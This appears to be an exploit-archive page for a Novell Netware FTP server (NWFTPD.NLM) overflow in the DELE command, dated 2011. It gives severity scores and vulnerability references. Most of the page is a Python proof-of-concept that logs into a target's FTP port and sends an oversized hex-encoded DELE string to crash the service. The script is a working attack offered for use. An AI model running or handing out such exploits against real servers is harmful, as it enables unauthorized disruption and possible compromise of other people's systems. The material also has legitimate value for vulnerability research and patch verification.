Novell Netware NWFTPD.NLM DELE Remote Code Execution Vulnerability

2011.03.24
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 9/10
Impact Subscore: 10/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

#!/usr/bin/python import socket, sys # Source: # http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=25&Itemid=25 host = (sys.argv[1]) data = "\x44\x45\x4c\x45\x20\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x43\x43\x43\x43\x43\x43\x43\x43\x43\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x45\x45\x45\x45\x45\x45\x46\x46\x46\x46\x47\x47\x47\x47\x48\x48\x44\x43\x42\x41\x0d\x0a" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((host, 21)) d=s.recv(1024) print (d) s.send("USER toto\r\n") #anonymous login so anything goes d=s.recv(1024) print (d) s.send("PASS toto\r\n") d=s.recv(1024) print (d) s.send(data) d=s.recv(1024) print (d) s.close() try: s.connect((host,21)) except: print ("\r\n[i] Beep Beep, take a look to your Abend log file.") except: print ("[i] Error")

References:

https://bugzilla.novell.com/show_bug.cgi?id=641249
http://xforce.iss.net/xforce/xfdb/66170
http://www.zerodayinitiative.com/advisories/ZDI-11-106/
http://www.securityfocus.com/bid/46922
http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=25&Itemid=25
http://www.novell.com/support/viewContent.do?externalId=3238588
http://secunia.com/advisories/43824


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